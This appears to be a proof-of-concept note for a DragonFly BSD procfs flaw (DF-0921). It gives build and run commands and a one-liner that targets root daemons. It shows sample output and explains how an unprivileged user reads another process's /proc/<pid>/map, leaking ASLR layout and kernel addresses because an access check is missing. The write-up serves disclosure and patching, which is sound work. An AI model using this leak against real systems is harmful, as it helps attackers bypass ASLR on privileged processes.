# DF-0921 — PoC: unprivileged read of `/proc/<pid>/map`

## Goal

Demonstrate that an unprivileged local user can read the full VM map of an
arbitrary process (including root daemons) — defeating ASLR of privileged
processes and disclosing their mapped files — confirming DF-0921.

## Build & run

```
cc -o leak_map leak_map.c
# Find a root daemon pid (sshd, syslogd, dhclient, etc.)
PID=$(ps -ax -o pid,uid,comm | awk '$2==0 && $3 ~ /ssh|syslog|cron/ {print $1; exit}')
./leak_map /proc/$PID/map
```

## Expected output

```
[*] running as uid=65534 gid=65534
0x800600000 0x800601000 -1 -1 0xffff80002a3b4c00 r-x COW NC default /libexec/ld-elf.so.2
0x800630000 0x800631000 -1 -1 0xffff80002a3c0000 r-- NCOW NC vnode /lib/libc.so.8
...
```

(The 5th column `0xffff...` is DF-0922. The start/end addresses and the
mapped-file paths are the ASLR/layout leak that defines DF-0921.)

## Notes

- If `procfs` is not mounted: `mount_procfs procfs /proc` (root only).
- On default DragonFly configs, `kern.ps_showallprocs=1` (default) makes
  every pid visible in `/proc/` to every local user.
- The dump contains load addresses and mapped library paths of a process
  the reader does not own — the missing `p_trespass`/`CHECKIO` check that
  `procfs_open()` applies for `Pmem` is absent for `Pmap`.